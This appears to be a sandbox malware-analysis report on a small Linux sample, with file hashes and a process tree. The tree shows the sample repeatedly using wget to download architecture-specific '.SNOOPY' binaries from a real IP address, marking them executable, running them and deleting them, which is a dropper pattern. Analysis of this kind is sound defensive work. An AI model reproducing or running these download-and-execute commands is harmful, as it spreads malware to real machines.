Analysis

  • max time kernel
    9s
  • max time network
    131s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20231215-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20231215-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    01-02-2024 23:38

General

  • Target

    87f6cdd9e7b20463d16dbc0a987da1e0

  • Size

    2KB

  • MD5

    87f6cdd9e7b20463d16dbc0a987da1e0

  • SHA1

    cf961f122cee39b32a2897d63318d58596b52035

  • SHA256

    2903715c715b076a071f7d487094390c9011eca9b0148c232514383c53e7f459

  • SHA512

    d66eec9549580ae7f9d11c7e41e46e7c10e3ba95dca93b19198f9cd1613b9b18cd2471f6931fbe84b13dd213ebc1fae7bb878553e6c337633be0587576b3d888

Score
1/10

Malware Config

Signatures

Processes

  • /tmp/87f6cdd9e7b20463d16dbc0a987da1e0
    /tmp/87f6cdd9e7b20463d16dbc0a987da1e0
    1⤵
      PID:1538
      • /usr/bin/wget
        wget http://66.70.188.177/m-i.p-s.SNOOPY
        2⤵
          PID:1539
        • /bin/chmod
          chmod +x m-i.p-s.SNOOPY
          2⤵
            PID:1544
          • /tmp/m-i.p-s.SNOOPY
            ./m-i.p-s.SNOOPY
            2⤵
              PID:1545
            • /bin/rm
              rm -rf m-i.p-s.SNOOPY
              2⤵
                PID:1546
              • /usr/bin/wget
                wget http://66.70.188.177/m-p.s-l.SNOOPY
                2⤵
                  PID:1547
                • /bin/chmod
                  chmod +x m-p.s-l.SNOOPY
                  2⤵
                    PID:1548
                  • /tmp/m-p.s-l.SNOOPY
                    ./m-p.s-l.SNOOPY
                    2⤵
                      PID:1549
                    • /bin/rm
                      rm -rf m-p.s-l.SNOOPY
                      2⤵
                        PID:1550
                      • /usr/bin/wget
                        wget http://66.70.188.177/s-h.4-.SNOOPY
                        2⤵
                          PID:1551
                        • /bin/chmod
                          chmod +x s-h.4-.SNOOPY
                          2⤵
                            PID:1552
                          • /tmp/s-h.4-.SNOOPY
                            ./s-h.4-.SNOOPY
                            2⤵
                              PID:1553
                            • /bin/rm
                              rm -rf s-h.4-.SNOOPY
                              2⤵
                                PID:1554
                              • /usr/bin/wget
                                wget http://66.70.188.177/x-8.6-.SNOOPY
                                2⤵
                                  PID:1555
                                • /bin/chmod
                                  chmod +x x-8.6-.SNOOPY
                                  2⤵
                                    PID:1556
                                  • /tmp/x-8.6-.SNOOPY
                                    ./x-8.6-.SNOOPY
                                    2⤵
                                      PID:1557
                                    • /bin/rm
                                      rm -rf x-8.6-.SNOOPY
                                      2⤵
                                        PID:1558
                                      • /usr/bin/wget
                                        wget http://66.70.188.177/a-r.m-6.SNOOPY
                                        2⤵
                                          PID:1559
                                        • /bin/chmod
                                          chmod +x a-r.m-6.SNOOPY
                                          2⤵
                                            PID:1560
                                          • /tmp/a-r.m-6.SNOOPY
                                            ./a-r.m-6.SNOOPY
                                            2⤵
                                              PID:1561
                                            • /bin/rm
                                              rm -rf a-r.m-6.SNOOPY
                                              2⤵
                                                PID:1562
                                              • /usr/bin/wget
                                                wget http://66.70.188.177/x-3.2-.SNOOPY
                                                2⤵
                                                  PID:1563
                                                • /bin/chmod
                                                  chmod +x x-3.2-.SNOOPY
                                                  2⤵
                                                    PID:1564
                                                  • /tmp/x-3.2-.SNOOPY
                                                    ./x-3.2-.SNOOPY
                                                    2⤵
                                                      PID:1565
                                                    • /bin/rm
                                                      rm -rf x-3.2-.SNOOPY
                                                      2⤵
                                                        PID:1566
                                                      • /usr/bin/wget
                                                        wget http://66.70.188.177/a-r.m-7.SNOOPY
                                                        2⤵
                                                          PID:1567
                                                        • /bin/chmod
                                                          chmod +x a-r.m-7.SNOOPY
                                                          2⤵
                                                            PID:1568
                                                          • /tmp/a-r.m-7.SNOOPY
                                                            ./a-r.m-7.SNOOPY
                                                            2⤵
                                                              PID:1569
                                                            • /bin/rm
                                                              rm -rf a-r.m-7.SNOOPY
                                                              2⤵
                                                                PID:1570
                                                              • /usr/bin/wget
                                                                wget http://66.70.188.177/p-p.c-.SNOOPY
                                                                2⤵
                                                                  PID:1571
                                                                • /bin/chmod
                                                                  chmod +x p-p.c-.SNOOPY
                                                                  2⤵
                                                                    PID:1572
                                                                  • /tmp/p-p.c-.SNOOPY
                                                                    ./p-p.c-.SNOOPY
                                                                    2⤵
                                                                      PID:1573
                                                                    • /bin/rm
                                                                      rm -rf p-p.c-.SNOOPY
                                                                      2⤵
                                                                        PID:1574
                                                                      • /usr/bin/wget
                                                                        wget http://66.70.188.177/i-5.8-6.SNOOPY
                                                                        2⤵
                                                                          PID:1575
                                                                        • /bin/chmod
                                                                          chmod +x i-5.8-6.SNOOPY
                                                                          2⤵
                                                                            PID:1576
                                                                          • /tmp/i-5.8-6.SNOOPY
                                                                            ./i-5.8-6.SNOOPY
                                                                            2⤵
                                                                              PID:1577
                                                                            • /bin/rm
                                                                              rm -rf i-5.8-6.SNOOPY
                                                                              2⤵
                                                                                PID:1578
                                                                              • /usr/bin/wget
                                                                                wget http://66.70.188.177/m-6.8-k.SNOOPY
                                                                                2⤵
                                                                                  PID:1579
                                                                                • /bin/chmod
                                                                                  chmod +x m-6.8-k.SNOOPY
                                                                                  2⤵
                                                                                    PID:1580
                                                                                  • /tmp/m-6.8-k.SNOOPY
                                                                                    ./m-6.8-k.SNOOPY
                                                                                    2⤵
                                                                                      PID:1581
                                                                                    • /bin/rm
                                                                                      rm -rf m-6.8-k.SNOOPY
                                                                                      2⤵
                                                                                        PID:1582
                                                                                      • /usr/bin/wget
                                                                                        wget http://66.70.188.177/p-p.c-.SNOOPY
                                                                                        2⤵
                                                                                          PID:1583
                                                                                        • /bin/chmod
                                                                                          chmod +x p-p.c-.SNOOPY
                                                                                          2⤵
                                                                                            PID:1584
                                                                                          • /tmp/p-p.c-.SNOOPY
                                                                                            ./p-p.c-.SNOOPY
                                                                                            2⤵
                                                                                              PID:1585
                                                                                            • /bin/rm
                                                                                              rm -rf p-p.c-.SNOOPY
                                                                                              2⤵
                                                                                                PID:1586
                                                                                              • /usr/bin/wget
                                                                                                wget http://66.70.188.177/a-r.m-4.SNOOPY
                                                                                                2⤵
                                                                                                  PID:1587
                                                                                                • /bin/chmod
                                                                                                  chmod +x a-r.m-4.SNOOPY
                                                                                                  2⤵
                                                                                                    PID:1588
                                                                                                  • /tmp/a-r.m-4.SNOOPY
                                                                                                    ./a-r.m-4.SNOOPY
                                                                                                    2⤵
                                                                                                      PID:1589
                                                                                                    • /bin/rm
                                                                                                      rm -rf a-r.m-4.SNOOPY
                                                                                                      2⤵
                                                                                                        PID:1590
                                                                                                      • /usr/bin/wget
                                                                                                        wget http://66.70.188.177/a-r.m-5.SNOOPY
                                                                                                        2⤵
                                                                                                          PID:1591
                                                                                                        • /bin/chmod
                                                                                                          chmod +x a-r.m-5.SNOOPY
                                                                                                          2⤵
                                                                                                            PID:1592
                                                                                                          • /tmp/a-r.m-5.SNOOPY
                                                                                                            ./a-r.m-5.SNOOPY
                                                                                                            2⤵
                                                                                                              PID:1593
                                                                                                            • /bin/rm
                                                                                                              rm -rf a-r.m-5.SNOOPY
                                                                                                              2⤵
                                                                                                                PID:1594

                                                                                                            Network

                                                                                                            MITRE ATT&CK Matrix

                                                                                                            Replay Monitor

                                                                                                            Loading Replay Monitor...

                                                                                                            Downloads